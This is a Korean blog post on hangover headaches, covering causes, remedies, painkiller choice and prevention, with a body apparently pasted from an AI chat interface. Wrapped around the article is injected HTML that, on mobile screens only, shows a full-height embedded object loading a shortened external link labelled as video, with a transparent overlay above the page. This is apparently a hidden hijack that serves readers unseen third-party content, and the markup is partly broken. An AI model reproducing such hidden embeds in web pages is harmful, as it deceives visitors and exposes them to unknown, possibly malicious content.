술먹고 머리아플때 술마시고 두통 숙취 두통약 해소법 원인 이유 알고 대처

<div class="figure-html" data-ke-type="html" data-source="<style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <body> <div class="container"> <object data="https://vvd.bz/j3d" type="video/mp4" class="mobile-only"></object> </div> </body> <div _ngcontent-ng-c989002767="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 600ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:32">술 마시고 머리아플 때, 숙취 두통 해소법 총정리!</h2><p data-sourcepos="3:1-3:68">술 마신 다음 날 찾아오는 지긋지긋한 두통, 정말 괴롭죠? 숙취 두통의 원인과 해소 방법을 알고 현명하게 대처해 보세요.</p><h3 data-sourcepos="5:1-5:16">숙취 두통의 원인은?</h3><p data-sourcepos="7:1-7:130">술을 마시면 알코올이 간에서 분해되는 과정에서 아세트알데히드라는 독성 물질이 생성됩니다. 이 물질이 혈관을 수축시키고 뇌혈관 장벽을 손상시켜 두통을 유발합니다. 또한, 탈수, 불면증, 저혈당 등도 숙취 두통을 악화시키는 요인입니다.</p><h3 data-sourcepos="9:1-9:15">숙취 두통 해소 방법</h3><ul data-sourcepos="11:1-19:0"> <li data-sourcepos="11:1-11:72"><strong>충분한 수분 섭취:</strong> 술 마신 다음 날에는 물을 충분히 마셔 탈수를 해소하고, 알코올과 노폐물 배출을 촉진해야 합니다.</li> <li data-sourcepos="12:1-14:14"><strong>해장국:</strong> 콩나물국, 북엇국 등 숙취 해소에 좋은 음식을 섭취하면 아스파라긴산과 메티오닌 성분이 알코올 분해를 도와줍니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container 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두통 완화에 적입니다.</li> <li data-sourcepos="17:1-17:109"><strong>진통제 복용:</strong> 아세트아미노펜 성분의 진통제는 간에 부담을 줄 수 있으므로, 이부프로펜이나 나프록센 성분의 진통제를 복용하는 것이 좋습니다. 단, 위장이 약한 경우에는 주의해야 합니다.</li> <li data-sourcepos="18:1-19:0"><strong>과일 섭취:</strong> 바나나, 포도 등 칼륨이 풍부한 과일은 몸의 균형을 맞추는 데 도움이 됩니다.</li> </ul><h3 data-sourcepos="20:1-20:15">숙취 두통 예방 방법</h3><ul data-sourcepos="22:1-26:0"> <li data-sourcepos="22:1-22:68"><strong>술을 적당히 마시기:</strong> 과음은 간에 부담을 주고 숙취를 심하게 만들기 때문에, 적당량을 마시는 것이 중요합니다.</li> <li data-sourcepos="23:1-23:64"><strong>술 마시기 전 물 마시기:</strong> 술 마시기 전에 물을 충분히 마시면 알코올 흡수를 늦추는 데 도움이 됩니다.</li> <li data-sourcepos="24:1-24:62"><strong>안주를 골고루 먹기:</strong> 안주를 꼭 챙겨 먹으면 알코올 흡수 속도를 늦추고 위벽을 보호할 수 있습니다.</li> <li data-sourcepos="25:1-26:0"><strong>술과 함께 물 마시기:</strong> 술을 마실 때마다 물을 번갈아 마시면 탈수를 예방할 수 있습니다.</li> </ul><p data-sourcepos="27:1-27:8"><strong>주의사항</strong></p><ul data-sourcepos="29:1-31:0"> <li data-sourcepos="29:1-29:53">숙취 해소를 위해 커피나 에너지 드링크를 마시는 것은 오히려 탈수를 악화시킬 수 있습니다.</li> <li data-sourcepos="30:1-31:0">숙취가 심하거나 자주 반복되는 경우에는 반드시 병원을 방문하여 진료를 받아야 합니다.</li> </ul><p data-sourcepos="32:1-33:73"><strong>숙취 두통, 이제 걱정 마세요!</strong> 위에서 알려드린 방법들을 잘 활용하면 숙취 두통을 적으로 해소할 수 있습니다. 건강한 음주 습관을 통해 즐거운 시간 보내세요!</p><p data-sourcepos="35:1-35:28"><strong>궁금한 점이 있다면 언제든지 질문해주세요.</strong></p></div> "><div data-ke-class="article"><style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <xbody> <div class="container"> <object data="https://vvd.bz/j3d" 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